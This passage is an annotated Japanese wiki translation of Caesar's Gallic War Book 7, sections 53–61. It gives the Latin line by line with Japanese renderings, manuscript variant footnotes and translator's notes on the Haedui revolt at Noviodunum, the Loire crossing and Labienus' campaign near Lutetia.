*legiones ex castris eduxit aciemque idoneo loco constituit. 
**諸[[w:ローマ軍団|軍団]]を陣営から進発させて、適切な場所に戦列を整えた。
*②　Cum [[w:la:Vercingetorix|Vercingetorix]] nihilo minus &amp;lt; intra munitiones remaneret neque &amp;gt; in aequum locum descenderet, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が、防備の内側に留まったばかりか、平らな場所に降りてこなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&amp;lt; intra munitiones remaneret neque &amp;gt; は、写本になく、近代に挿入提案された修正案の一つ。）&lt;/span&gt;
*levi facto equestri proelio, atque secundo, in castra exercitum reduxit. 
**軽微な騎兵戦を行なって、順調のうちに軍隊を陣営に連れ戻した。
*③　Cum hoc idem postero die fecisset, 
**翌日もこれと同じことを行なって、
*satis ad Gallicam ostentationem minuendam militumque animos confirmandos factum existimans 
**ガッリア人の誇示を弱めること、および（ローマ人）兵士の心を強固にすることが十分になされたと考えたので、
*in [[w:la:Haedui|Haeduos]] movit castra. 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところに陣営を移（すために出発）した。
*④　Ne tum quidem insecutis hostibus 
**そのとき、敵方は決して追撃して来なかったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*tertio die ad flumen [[w:la:Elaver|Elaver]] pontes&lt;ref&gt;pontes はα系写本の記述で、β系写本では pontem となっている。&lt;/ref&gt; reficit&lt;ref&gt;reficit はχ系･B･M･L･N写本の記述で、S写本では refecit となっている。&lt;/ref&gt; eoque exercitum&lt;ref&gt;eoque exercitum はα系写本の記述で、β系写本では exercitumque となっている。&lt;/ref&gt; traducit&lt;ref&gt;traducit はα系写本の記述で、β系写本では traduxit となっている。&lt;/ref&gt;.
**3日目にはエラウェル川（＝現在の[[w:アリエ川|アリエ川]]）のところで橋を再建して、そこで軍隊を渡らせた。

===54節===
'''ハエドゥイー族のエポレドリクスとウィリドマルスらがカエサルのもとから立ち去る'''
*①　Ibi a Viridomaro atque [[w:la:Eporedorix|Eporedorige]] [[w:la:Haedui|Haeduis]] appellatus discit 
**そこで（カエサルが）[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:ウィリドマルス|ウィリドマルス]]と[[w:エポレドリクス|エポレドリクス]]から話しかけられて知ったことには、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#39節|39節]]～[[#40節|40節]]を参照。ウィリドマルスとエポレドリクスはカエサルの軍勢に従軍していたと思われる。）&lt;/span&gt;
*cum omni equitatu Litaviccum ad sollicitandos Haeduos profectum; 
**[[w:リタウィックス|リタウィックス]]がすべての騎兵隊とともに、ハエドゥイー族の者たちをそそのかすために出発したという。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#40節|40節]]を参照。リタウィックスは謀計が破れたので、ゲルゴウィアに逃れていた。）&lt;/span&gt;
*opus esse ipsos antecedere ad confirmandam civitatem. 
**部族の支持を固めるために、（彼ら）自身が（リタウィックスより）先行することが必須であるというのだ。
*②　Etsi multis iam rebus perfidiam Haeduorum&lt;ref&gt;perfidiam Haeduorum はα系写本の記述で、β系写本では Haeduorum perfidiam となっている。&lt;/ref&gt; Caesar&lt;ref&gt;Caesar はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; perspectam habebat 
**カエサルは、すでに多くの事により、ハエドゥイー族の背信行為を目にして来ており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Etsi ～, tamen …「～としても、しかしながら…」）&lt;/span&gt;
*atque horum discessu admaturari defectionem civitatis existimabat, 
**この者たちが（カエサルのもとから）立ち去ることで、（ハエドゥイー）部族の背反が一層促進されると考えていたのだが、
*tamen eos retinendos non censuit&lt;ref&gt;censuit はπ系写本の記述で、α系･ρ系写本では constituit となっている。&lt;/ref&gt;, 
**しかしながら、彼ら（2人）を束縛するべきではないと考慮した。
*ne aut inferre iniuriam videretur aut dare&lt;ref&gt;dare はα系写本の記述で、β系写本では daret となっている。&lt;/ref&gt; timoris aliquam&lt;ref&gt;timoris aliquam はα系写本の記述で、β系写本では aliquam timoris となっている。&lt;/ref&gt; suspicionem. 
**（カエサルが）無法行為を起こすと思われないように、あるいは（彼らを）怖れているという何らかの疑念を与えないように。
*③　Discedentibus his breviter sua in Haeduos merita exposuit, 
**（カエサルは）立ち去る彼らに、ハエドゥイー族における自分の功績を手短に説明した。
*quos et quam humiles accepisset, compulsos in oppida, multatos agris, 
**彼らが、どれほど無力であったのを引き受けたことか、[[w:オッピドゥム|城塞都市]]に押し込められ、耕地を台無しにされて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある。」）&lt;/span&gt;
*omnibus ereptis sociis&lt;ref&gt;sociis「同盟者たち」 はβ系写本の記述で、α系写本では copiis「軍勢」となっている。&lt;/ref&gt;, imposito stipendio, obsidibus summa cum contumelia extortis, 
**すべての同盟者たちを奪い取られ、貢物を課せられて、たいへんな侮辱とともに人質をもぎ取られていたことか。
*④　et quam in fortunam quamque in amplitudinem deduxisset, 
**かつ、どれほどの境遇に、どれほどの高位に（カエサルが）引き上げもしたことか。
*ut non solum in pristinum statum redissent, 
**その結果（ハエドゥイー族は）かつての地位に戻っただけでなく、
*sed omnium temporum dignitatem et gratiam antecessisse viderentur. 
**（以前の）あらゆる時期の品格や信望をも越えていると思われる。
*His datis mandatis eos ab se dimisit.
**このような訓示を与えて、彼ら（2人）を自分のもとから送り出した。

===55節===
'''エポレドリクスとウィリドマルスらがローマの拠点ノウィオドゥーヌムで寝返る'''
[[画像:Nevers_-_Vue_depuis_la_rive_sud_de_la_Loire.jpg|thumb|center|700px|ノウィオドゥーヌム（[[w:la:Nivernum|Noviodunum]]）＝現･[[w:ヌヴェール|ヌヴェール]]（[[w:fr:Nevers|Nevers]]）における、リゲル川（[[w:la:Liger|Liger]]）＝現･[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）の岸辺の景観]]

*①　[[w:la:Nivernum|Noviodunum]] erat oppidum [[w:la:Haedui|Haeduorum]] ad ripas [[w:la:Liger|Ligeris]] opportuno loco positum. 
**ノウィオドゥーヌムは、[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:オッピドゥム|城塞都市]]で、リゲル川（現[[w:ロワール川|ロワール川]]）岸の好都合な所に位置していた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：『ガリア戦記』には同名の都市が計3か所載っているが、こちらは現在の[[w:ヌヴェール|ヌヴェール]] Nevers である。&lt;br&gt;　　　　「[[ガリア戦記/ガリア語の名前#Nouio-dūnon|ガリア語の名前 #Nouio-dūnon]]」を参照せよ。）&lt;/span&gt;
*②　Huc Caesar omnes obsides Galliae, frumentum, pecuniam publicam, 
**ここに、カエサルは、ガッリアのすべての人質たちや、糧食、公金、
*suorum atque exercitus impedimentorum magnam partem contulerat; 
**および自分と軍隊の[[w:輜重|輜重]]の大部分を運び集めていた。
*③　huc magnum numerum equorum huius belli causa in [[w:la:Italia|Italia]] atque [[w:la:Hispania|Hispania]] coemptum miserat. 
**ここに、この戦争のためにイタリアと[[w:ヒスパニア|ヒスパニア]]から買い集めた馬匹の多数を送っておいた。
*④　Eo cum [[w:la:Eporedorix|Eporedorix]] Viridomarusque venissent et de statu civitatis cognovissent, 
**そこに、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]がやって来て、（以下のような）部族の情勢について察知したときに、

[[画像:Bibracte333_crop.JPG|thumb|right|400px|[[w:ビブラクテ|ビブラクテ]]の[[w:オッピドゥム|城塞都市]]跡に整備された城壁の遺構]]

*Litaviccum [[w:la:Bibracte|Bibracti]] ab Haeduis receptum, 
**（すなわち）リタウィックスが、ハエドゥイー族の者たちによって[[w:ビブラクテ|ビブラクテ]]に迎え入れられ、
*─ quod est oppidum apud eos maximae auctoritatis ─, 
**それ（ビブラクテ）は彼ら（ハエドゥイー族）のもとで最大の影響力を持つ城塞都市であるが、
*Convictolitavem&lt;ref&gt;Convictolitavem はβ系･N写本の記述で、χ系･B･M･S･L写本では Convictolitabim となっている。&lt;/ref&gt; magistratum magnamque partem senatus ad eum convenisse, 
**統領コンウィクトリタウィスと評議会の大半の者たちが彼（リタウィックス）のもとへ参集し、
*legatos ad [[w:la:Vercingetorix|Vercingetorigem]] de pace et&lt;ref&gt;et は α系･U写本の記述で、π系･R写本では et de となっている。&lt;/ref&gt; amicitia concilianda publice missos, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のところへ和平と友好を仲介するべく公けに使節たちが遣わされた（ことを知った）ので、
*non praetermittendum instans&lt;ref&gt;instans はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; tantum commodum existimaverunt. 
**（エポレドリクスとウィリドマルスは）眼前にあるこれほどの好機を放置するべきではないと考えたのだ。
*⑤　Itaque interfectis Novioduni custodibus quique eo negotiandi aut itineris&lt;ref&gt;aut itineris はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; causa convenerant, 
**こうして（2人は）ノウィオドゥーヌムの（ローマ側の）番兵たちや商用や旅行のために来訪していた者たちを殺害し、
*pecuniam atque equos inter se partiti sunt; 
**金銭および馬匹を互いに分け合った。
*⑥　obsides civitatum Bibracte ad magistratum deducendos curaverunt; 
**（ガッリアの）部族の人質たちをビブラクテの統領のところへ連れて行くように手配した。
*⑦　oppidum, quod a&lt;ref&gt;a はα系写本の記述で、β系写本では ab となっている。&lt;/ref&gt; se teneri non posse iudicabant, 
**（ノウィオドゥーヌムの）城塞都市は、自分たちによって固守することはできないと判断したので、
*ne cui esset usui Romanis, incenderunt; 
**ローマ人たちの有益になることがないように、焼き打ちした。
*⑧　frumenti quod subito potuerunt navibus avexerunt, 
**糧食のうち、急いで（運ぶことが）できるものを船団で運び去って、
*reliquum flumine atque incendio corruperunt. 
**残りのものを川（に流すこと）により、および焼き打ちにより、役立たないようにした。
*⑨　Ipsi ex finitimis regionibus copias cogere, 
**（彼ら）自身は、近隣の地方から軍勢を徴集して、
*praesidia custodiasque ad ripas Ligeris disponere 
**リゲルの川岸のたもとへ守備隊や番兵を分配して、
*equitatumque omnibus locis iniciendi timoris causa ostentare coeperunt, 
**（ローマ人に）恐怖（の感情）を起こさせるために、[[w:騎兵|騎兵隊]]に誇示をさせ始めた。
*si ab re frumentaria Romanos excludere 
**もし、ローマ人たちが糧食調達することを阻止するなら、
*† aut adductos inopia in provincia&lt;ref&gt;in provincia は、α系写本では ex provincia「属州から」、β系写本では provincia となっているが、コンスタン Constans やクロッツ A.Klotz らにより in provincia「属州に」と修正提案されている。&lt;/ref&gt; expellere&lt;ref&gt;expellere「駆逐する」 はα系写本の記述で、β系写本では excludere「阻止する、妨げる」 となっている。&lt;/ref&gt; † possent. 
**あるいは（糧食などの）欠乏により、属州に駆逐することができるなら、と。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：† ～ † は、写本の文章が崩れて校訂者を迷わせていることを表す記号。修正提案されている。）&lt;/span&gt;
*⑩　Quam ad spem multum eos adiuvabat, 
**そのような希望へ、彼らを大いに励まし助けたのは、
*quod Liger ex nivibus creverat, 
**リゲル川（の水位）が雪水により増したことで、
*ut omnino vado non posse transiri videretur.
**すべての浅瀬が渡らせられることができないと思われたのである。

===56節===
'''カエサルが属州へは戻らず、増水したリゲル川の渡河を敢行'''
*①　Quibus rebus cognitis Caesar maturandum sibi censuit, 
**それらの事態を知ると、カエサルは自らにとって（以下のことを）急ぐべきだと考慮した。
*si esset in perficiendis pontibus periclitandum, 
**もし、橋を造り上げる最中に（敵勢と闘うという）危険を冒すのであれば、
*ut prius, quam essent maiores eo coactae copiae, dimicaret. 
**そこに（敵方の）より多くの軍勢が集結するよりも早く闘うように（急ぐべきだと）。
*②　Nam ut commutato consilio iter in provinciam converteret, 
**なぜなら、作戦を変更して、属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に進路を方向転換するようにと、
*ne metu quidem&lt;ref&gt;ne metu quidem はα系写本の記述で、β系写本では nemo tunc quidem 、そのほか近代の校訂者によって修正提案が行なわれている。&lt;/ref&gt; necessario faciendum&lt;ref&gt;faciendum はβ系写本の記述で、α系写本では faciundum となっている。&lt;/ref&gt; existimabat; 
**（ガッリア勢への）怖れによって行なうことは決して必要ではない、と考えたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*cum infamia atque indignitas rei 
**（属州に撤退するという）事の不名誉や恥辱が、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：cum ～ tum …「～であるのと同様に特に…である」）&lt;/span&gt;
*et oppositus mons Cevenna&lt;ref&gt;Cevenna はχ系･U写本の記述で、π系･R写本の記述では Cebenna、φ系写本では Cevennae となっている。&lt;/ref&gt; viarumque difficultas impediebat, 
**およびケウェンナ山地が相対して道の（通行の）困難なことが、（属州への撤退を）妨げていたし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ケウェンナ山地 mons Cevenna は現在のセヴェンヌ山地。[[#8節|8節]]を参照。）&lt;/span&gt;
*tum maxime quod abiuncto [[w:la:Titus_Labienus|Labieno]] atque iis legionibus, quas una miserat, vehementer timebat. 
**同様に、とりわけ[[w:ティトゥス・ラビエヌス|ラビエーヌス]]と一緒に派遣していた諸[[w:ローマ軍団|軍団]]から遠ざけられて、非常に心配してもいたのだ。
*③　Itaque admodum magnis diurnis nocturnisque itineribus confectis 
**こうして、昼間も夜間も非常な強行軍を成し遂げて、
*contra omnium opinionem ad [[w:la:Liger|Ligerem]]&lt;ref&gt;Ligerem はα系写本の記述で、β系写本では Ligerim となっている。&lt;/ref&gt; venit 
**皆の予想に反して、リゲル川（＝現[[w:ロワール川|ロワール川]]）の辺りにやって来た。
*④　vadoque per equites invento pro rei necessitate opportuno, 
**事態の緊急性に見合う好都合な浅瀬を、[[w:騎兵|騎兵]]たちを通じて見出して、
*ut brachia modo atque humeri&lt;ref&gt;humeri はA･φ系･ρ系写本の記述で、Q写本では umeri となっている。&lt;/ref&gt; ad sustinenda arma liberi ab aqua esse possent, 
**やっと腕と肩を、武器を差し上げるために、水から自由になることができた。
*disposito equitatu, qui vim fluminis refringeret, 
**川の流れの圧力を妨げるべく、騎兵隊を分けて置いて、
*atque hostibus primo aspectu perturbatis, 
**敵方は（ローマ勢を）初めに一見するや狼狽していたので、
*⑤　incolumem exercitum traduxit 
**（カエサルは）軍隊を無傷のまま渡河させた。
*frumentumque in agris et pecoris copiam nactus 
**耕地の穀物、および大量の家畜を獲得して、
*repleto his rebus exercitu 
**これらの物を軍隊に補充して、
*iter in Senones facere instituit.
**セノネース族のところに行軍することを決めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セノネース族の方面には、副官ラビエーヌスと4個軍団を派遣していた。）&lt;/span&gt;

==ラビエーヌスのルテティア遠征==
===57節===
'''副官ラビエーヌスがルテティア制圧に向かう'''
*①　Dum haec apud Caesarem geruntur, 
**これらがカエサルのもとで遂行されている間に、
*[[w:la:Titus Labienus|Labienus]] eo supplemento, quod nuper ex Italia venerat, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は、最近イタリアから来ていた補充兵（予備兵）を
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#34節|34節]]で既述のようにラビエーヌスはカエサルから4個軍団とともにガッリア北部の制圧を委ねられていた。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;また、[[#1節|1節]]で既述のようにカエサルはイタリア（属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]）で部隊を徴兵していた。）&lt;/span&gt;
*relicto [[w:la:Agedincum|Agedinci]], ut esset impedimentis praesidio, 
**アゲディンクムに、[[w:輜重|輜重]]にとっての守備隊となるように、残留させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#10節|10節]]で既述のように、カエサルはアゲディンクム（現在の[[w:サンス|サンス]]）に全軍の輜重を残していた。）&lt;/span&gt;
*cum quattuor legionibus Luteciam&lt;ref&gt;Luteciam はα系写本の記述で、π系写本では Luceciam 、ρ系写本では Lucetiam となっている。[[ガリア戦記 第6巻#3節|第6巻3節]]では Lutetia(m) とも綴られている。&lt;/ref&gt; proficiscitur. 
**4個軍団とともに[[w:ルテティア|ルテティア]]に出発した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティア Lutetia は写本ではルテキア Lutetia とも綴られる。[[ガリア戦記 第6巻#3節|第6巻3節]]を参照。）&lt;/span&gt;
*Id est oppidum Parisiorum, quod positum est&lt;ref&gt;quod positum est はα系写本の記述で、β系写本では単に positum となっている。&lt;/ref&gt; in insula fluminis [[w:la:Sequana|Sequanae]]. 
**それ（ルテティア）は[[w:パリシイ族|パリスィイ族]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で、セクアナ川（＝現[[w:セーヌ川|セーヌ川]]）の中洲に位置している。
*②　Cuius adventu ab hostibus cognito 
**彼（ラビエーヌス）の到来が敵方により知られると、
*magnae ex finitimis civitatibus copiae convenerunt. 
**近隣の諸部族から大軍勢が集結していた。
*③　Summa imperii traditur Camulogeno Aulerco, 
**（北部ガッリア勢の）最高司令権は、[[w:アウレルキ族|アウレルキ族]]の[[w:カムロゲヌス|カムロゲヌス]]に託された。
*qui prope confectus aetate 
**その者はかなり年老いていたが、
*tamen propter singularem scientiam rei militaris ad eum est honorem evocatus. 
**けれども、彼の卓越した軍事の知識のために、顕職に召集されたのだ。
*④　Is cum animadvertisset perpetuam esse paludem, 
**彼（カムロゲヌス）は、沼地が絶え間なくあることに気付いていたので、
*quae influeret in Sequanam atque illum omnem locum magnopere impediret, 
**それはセクアナ（川）に流れ込み、かの一帯すべてを大いに近付きにくくしていたので、
*hic consedit nostrosque transitu prohibere instituit.
**ここに陣取って、我が方（ローマ勢）が渡河するのを妨げることに決めた。

===58節===
'''ラビエーヌスがメトロセドゥムを陥落させ、ルテティアのガッリア勢と対峙'''
*①　[[w:la:Titus Labienus|Labienus]] primo vineas agere, cratibus atque aggere paludem explere 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は初めに、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を駆ること、柴や土砂で沼地を埋め立てること、
*atque iter munire conabatur. 
**および道を築くこと、を試みた。
*②　Postquam id difficilius confieri&lt;ref&gt;confieri はχ系･β系写本の記述で、Q写本では confici となっている。&lt;/ref&gt; animadvertit, 
**それが成し遂げられることが困難だと気付いた後で、
*silentio e castris tertia vigilia egressus 
**（敵に知られないように）静けさのうちに第三夜警時に陣営から進発して、
*eodem, quo venerat, itinere Metlosedum&lt;ref&gt;Metlosedum はコンスタン L.-A. Constans による修正で、π系･U写本では Metiosedum 、α系･ρ系写本では Mellodunum などとなっており、写本により表記がさまざまである。&lt;/ref&gt; pervenit. 
**やって来たのと同じ道程により、メトロセドゥムに到達した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：メトロセドゥム Metlosedum は、写本によりメティオセドゥム Metiosedum とも綴られ、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;後にはメロドゥーヌム [[w:la:Melodunum|Melodunum]] として知られる。現在の[[w:ムラン|ムラン]] [[w:fr:Melun|Melun]] である。）&lt;/span&gt;
*③　Id est oppidum [[w:la:Senones|Senonum]] in insula [[w:la:Sequana|Sequanae]] positum, ut paulo ante de [[w:la:Lutetia|Lutecia]] diximus. 
**それはセノネース族の城塞都市で、少し前に[[w:ルテティア|ルテティア]]について述べたように、セクアナ川の[[w:中州|中州]]に位置している。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティアすなわち現在の[[w:パリ|パリ]]の中心部に[[w:シテ島|シテ島]]や[[w:サン＝ルイ島|サン＝ルイ島]]という[[w:セーヌ川|セーヌ川]]の中州があるように、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;現在のムランの中心部にもサン＝テティエンヌ島 [[w:fr:Île Saint-Étienne|Île Saint-Étienne]] というセーヌ川の中州がある。）&lt;/span&gt;
*④　Deprensis&lt;ref&gt;deprensis という語形はα系写本の記述で、β系写本では deprehensis となっている。&lt;/ref&gt; navibus circiter quinquaginta celeriterque coniunctis 
**約50隻の船を探し出して、速やかに結び合わせて（舟橋として）、
*atque eo militibus iniectis 
**そこに兵士たちを投入して、
*et rei novitate perterritis oppidanis, 
**事の新奇さに&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の者たちは脅えて、
*quorum magna pars erat ad bellum evocata, 
**彼ら（住民）の大部分は戦争へ徴集されていた（ため不在であった）ので、
*sine contentione oppido potitur. 
**（ラビエーヌスは）闘うことなしに（中州にあるメトロセドゥムの）城塞都市を掌握した。
*⑤　Refecto ponte, quem superioribus diebus hostes resciderant, exercitum traducit 
**それ以前の日々に敵方が破却していた橋を再建して、軍隊を（中州から対岸へ）渡らせて、
*et secundo flumine ad Luteciam iter facere coepit. 
**川に沿ってルテティアの方へ行軍を始めた。
*⑥　Hostes re cognita ab iis, qui Metlosedo&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、β系･S写本では Metiosedo 、χ系写本では Melloduno 、B･M･L･N写本では Ametlodone（あるいは Ametclodone）などとなっている。&lt;/ref&gt; fugerant, 
**敵方は、メトロセドゥムから逃げて来た者たちから事態を知って、
*Luteciam incendi pontesque eius oppidi rescindi iubent; 
**ルテティアを焼打ちすること、その城塞都市の橋を破却すること、を命じた。
*ipsi profecti a palude ad ripas&lt;ref&gt;ad ripas はχ系･B･M･L･N写本の記述で、S･Vおよびρ系写本では in ripas 、T写本では in ripa となっている。&lt;/ref&gt; Sequanae 
**彼ら自身は、沼地からセクアナの川岸へ出発して、
*e regione Luteciae contra Labieni castra considunt.
**ルテティア（の対岸）に向かってラビエーヌスの陣営に対抗して陣取った。

===59節===
'''ガッリア諸部族が迫り、ラビエーヌスが作戦変更を決断'''
*①　Iam Caesar a [[w:la:Gergovia|Gergovia]] discessisse audiebatur, 
**すでに、カエサルが[[w:ゲルゴウィア|ゲルゴウィア]]から撤退したことが聞かれていたし、
*iam de [[w:la:Haedui|Haeduorum]] defectione et secundo Galliae motu rumores adferebantur, 
**もはや、[[w:ハエドゥイ族|ハエドゥイー族]]の背反や、ガッリアの動乱の順調さについての噂がもたらされていた。
*Gallique in conloquiis 
**（当地の）ガッリア人たちは会話の中で、
*interclusum itinere et [[w:la:Liger|Ligeri]] Caesarem inopia frumenti coactum in provinciam contendisse confirmabant. 
**カエサルが行軍やリゲル（渡河）を遮られて、糧食の欠乏により属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に急ぐことを強いられた、と確言した。
*②　Bellovaci autem defectione Haeduorum cognita, 
**一方で、ベッロウァキ族もハエドゥイー族の背反を知って、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は、ハエドゥイー族の仲介によりカエサルに降伏していた。[[ガリア戦記 第2巻#14節|第2巻14節]]～15節を参照。）&lt;/span&gt;
*qui iam&lt;ref&gt;qui iam は古典学者 ニコラエス・ハインシウス1世 [[w:en:Nikolaes_Heinsius_the_Elder|Nikolaes Heinsius the Elder]] による修正提案で、χ系･S･β系写本では qui 、B･M･L･N写本では quia となっている。&lt;/ref&gt; ante erant per se infideles, 
**彼ら自身もすでに以前から（カエサルやローマ人に）忠誠的でなかったが、
*manus cogere atque aperte bellum parare coeperunt. 
**手勢を徴集して、公けに戦争を準備することを始めた。
*③　Tum [[w:la:Titus Labienus|Labienus]] tanta rerum commutatione 
**そこで、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]はこれほどの事態の変動により、
*longe aliud sibi capiendum consilium, atque antea senserat, intellegebat, 
**自分にとって、以前に判断していたのとはまったく別の作戦が立てられるべきだ、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：aliud ～ atque …「…とは別の～」）&lt;/span&gt;
*④　neque iam, ut aliquid adquireret proelioque hostes lacesseret, 
**もはや、何らかのものを獲得したり、敵方に戦闘を挑むようにではなく、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：neque ut ～, sed ut …「～ようにではなく、…ように」）&lt;/span&gt;
*sed ut incolumem exercitum Agedincum reduceret, cogitabat. 
**軍隊を無傷のままでアゲディンクム（＝現[[w:サンス|サンス]]）に連れ戻すように、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アゲディンクムには輜重と守備隊が残されていた。[[#10節|10節]]・[[#57節|57節]]を参照。）&lt;/span&gt;
*⑤　Namque altera ex parte Bellovaci, 
**実際、一方の側からはベッロウァキ族が、
*quae civitas in Gallia maximam habet opinionem virtutis, instabant, 
**ガッリアにおいて武勇に最大の評判を持つその部族が、迫りつつあった。
*alteram Camulogenus parato atque instructo exercitu tenebat: 
**他方からは、カムロゲヌスが軍隊を準備し、整列させて、進んでいた。
*tum legiones a praesidio atque impedimentis interclusas 
**そのとき、（ラビエーヌス麾下の）諸軍団は（アゲディンクムにいる）守備隊や輜重から遮られて、
*maximum flumen distinebat. 
**とても大きな（セクアナ）川が阻んでいた。
*⑥　Tantis subito difficultatibus obiectis 
**突然に、これほどの困難が投げ出されたので、
*ab animi virtute auxilium petendum videbat.
**武勇の心構えに救いを求めるべきだと（ラビエーヌスは）思った。

===60節===
'''ラビエーヌスが陽動戦術に努める'''
*①　Itaque&lt;ref&gt;Itaque はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; sub vesperum consilio convocato 
**こうして（[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は）夕方に会議を召集して、
*cohortatus, ut ea, quae imperasset, diligenter industrieque administrarent, 
**（彼が）命令したことを入念かつ勤勉に従事するように鼓舞した。
*naves, quas [[w:la:Melodunum|Metlosedo]]&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、χ系･S･β系写本では Metiosedo 、B･M写本では  ameclodone 、L･N写本では a mellodone 、&lt;i&gt;etc&lt;/i&gt;. となっている。&lt;/ref&gt; deduxerat, singulas equitibus Romanis attribuit, 
**[[w:ムラン|メトロセドゥム]]から引いて来ていた船団を、ローマ人騎士たち1人ずつに配分して、
*et prima confecta vigilia IIII(quattuor) milia passuum secundo flumine silentio progredi 
**第一夜警時が終わる頃に、4ローママイル（6km弱）下流に静けさのうちに進発すること、
*ibique se exspectari&lt;ref&gt;exspectari はα系･T･ρ系写本の記述で、S･V写本では exspectare などとなっている。&lt;/ref&gt; iubet. 
**かつ、そこで自分（ラビエーヌス）を待つことを命じた。
*②　Quinque cohortes, quas minime firmas ad dimicandum esse existimabat, 
**（白兵戦を）闘うためにはあまり強くないと（ラビエーヌスが）考えていた5個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; 
*castris praesidio relinquit; 
**陣営にとっての守備隊として残留させた。
*quinque eiusdem legionis reliquas 
**同じ軍団の残りの5個（歩兵大隊）を
*de media nocte cum omnibus impedimentis adverso flumine magno tumultu proficisci imperat. 
**真夜中から、すべての[[w:輜重|輜重]]とともに、上流の方に大きな喧騒でもって出発することを命令した。
*④　Conquirit etiam lintres; 
**小舟さえも探し集めて、
*has magno sonitu remorum incitatas in eandem partem mittit. 
**これらを大きな音とともに[[w:櫂|櫂]]を駆って、同じ方面に派遣した。
*Ipse post paulo silentio egressus cum tribus legionibus 
**（ラビエーヌス）自身は、少し後で静けさのうちに3個[[w:ローマ軍団|軍団]]とともに進発して、
*eum locum petit, quo naves appelli iusserat.
**船団が停められることを命じていた地点へ行った。

===61節===
'''ラビエーヌスの陽動により、敵将カムロゲヌスが兵力を分散'''
*①　Eo cum esset ventum, 
**（ラビエーヌスの軍勢が）そこにやって来たときに、
*exploratores hostium, ut omni fluminis parte erant dispositi, 
**敵方の偵察者たちが（セクアナ）川の至る所に分けて置かれていたが、
*inopinantes, quod magna subito erat coorta tempestas, 
**突然に大きな嵐が生じたので（ローマ勢の襲撃を）予期していなかった者たちは、
*ab&lt;ref&gt;ab はχ系･B･M･L･N写本の記述で、S･β系写本では a となっている。&lt;/ref&gt; nostris opprimuntur; 
**我が方（ローマ勢）によって不意を襲われたのだ。
*②　exercitus equitatusque equitibus Romanis administrantibus, quos ei negotio praefecerat, 
**歩兵隊と騎兵隊が、（ラビエーヌスが）任務を指揮させていたローマ人騎士たちの指導により、
*celeriter transmittitur. 
**速やかに（セクアナ川を）渡らせられた。
*③　Uno fere tempore sub lucem hostibus nuntiatur 
**夜明け前のほぼ一時に（以下のことが）敵方に報知された。
*in castris Romanorum praeter consuetudinem tumultuari 
**ローマ人の陣営において、通例に反して、騒がれていること、
*et magnum ire agmen adverso flumine 
**大きな隊列が上流の方へ行軍していること、
*sonitumque remorum in eadem parte exaudiri 
